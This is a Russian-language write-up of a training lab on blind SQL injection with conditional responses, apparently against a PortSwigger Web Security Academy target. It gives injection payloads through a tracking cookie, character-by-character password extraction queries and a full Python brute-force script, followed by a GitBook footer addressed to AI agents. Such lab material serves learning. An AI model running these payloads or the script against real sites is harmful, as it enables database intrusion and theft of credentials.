> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/sql-injection/blind-sql-injection-with-conditional-responses.md).

# Слепая SQL-инъекция с условными ответами

### Слепая SQL-инъекция с условными ответами

**Контекст / уязвимость:** значение отслеживающего cookie (`TrackingId`) внедряется в серверный SQL-запрос. Запрос напрямую не возвращает ни результатов, ни ошибок, но страница отображает **"С возвращением!"** если запрос возвращает хотя бы одну строку. Это позволяет **слепую SQL-инъекцию на основе условий** (на основе булевых значений): мы проверяем утверждения true/false и наблюдаем наличие/отсутствие сообщения, чтобы извлечь данные.

**Цель лабораторной:** извлечь пароль у `administrator` пользователя и войти как администратор.

#### Техника (ключевые этапы и полезные нагрузки)

1. **Базовые тесты стабильности / столбцы**

   ```sql
   ' ORDER BY 1-- -
   ' ORDER BY 2-- -
   ```

* (можно выявить поведение при ошибке, если это полезно)

<figure><img src="/files/c530df8cde61081e4ef045fa84db5fcf7518a269" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bffe6b05aa52709ba44c6eed4d07f6070be6259d" alt=""><figcaption></figcaption></figure>

2. **Проверка истинности/ложности условия (управление строкой ошибки)**

   ```sql
   ' AND (SELECT 'a') = 'a'-- -
   ' AND (SELECT 'a') = 'b'-- -
   ```

* первое должно сработать `С возвращением!`, второе — нет.

3. **Проверьте наличие `administrator` пользователь**

   ```sql
   ' AND (SELECT 'a' FROM users WHERE username='administrator') = 'a'-- -
   ```

* если `С возвращением!` появляется, подзапрос вернул строку.

4. **Извлекайте символ за символом (подстроки)**

* \*\*Имя пользователя (напр.) \*\*

  ````
   ```sql
   ' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE username='administrator') = 'a'-- -
   ```
  ````
* \*\*Пароль (напр.) \*\*

  ````
   ```
   ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') = 'a'-- -
   ```
  ````

перебирайте позиции/значения, чтобы восстановить строку. 5. \*\*Найдите длину (пример: тест длины = 20) \*\*

````
```sql
' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE username='administrator' AND LENGTH(password)=20) = 'a'-- -
```

адаптируйте это в зависимости от СУБД (`LENGTH` / `LEN` / `LENGTH()`).
````

### Скрипт автоматизации (Python)

" Предоставленный скрипт автоматизирует перебор символ за символом, изменяя `TrackingId` cookie.

```sql
from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig, frame):
    print("/nВыход.../n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

main_url = "https://0ac1002b042e505b810c253d007c0076.web-security-academy.net/"
characters = string.printable

def makeRequest():

    password = ""

    p1 = log.progress("Брутфорс")
    p1.status("Начинаю атаку брутфорсом")
    time.sleep(2)

    p2 = log.progress("Пароль")

    for position in range(1, 21):
        for character in characters:

            cookies = {
                'TrackingId': f"lRU8Ekyqctl6Yr6A' and (select substring(password,{position},1) from users where username='administrator')='{character}",
                'Session': 'zAVTpTyb3sYA5keYIro3aDUqsp6h780H'
            }
            p1.status(cookies['TrackingId'])
            try:
                r = requests.get(main_url, cookies=cookies)
                if "С возвращением!" in r.text:
                    password += character
                    p2.status(password)
                    break
            except requests.exceptions.RequestException as e:
                p1.failure(f"Ошибка запроса: {e}")
                sys.exit(1)

if __name__ == '__main__':
    makeRequest()
```

<figure><img src="/files/96865cce52fb3e7260fbd74681bdfc90e9902ae1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/sql-injection/blind-sql-injection-with-conditional-responses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
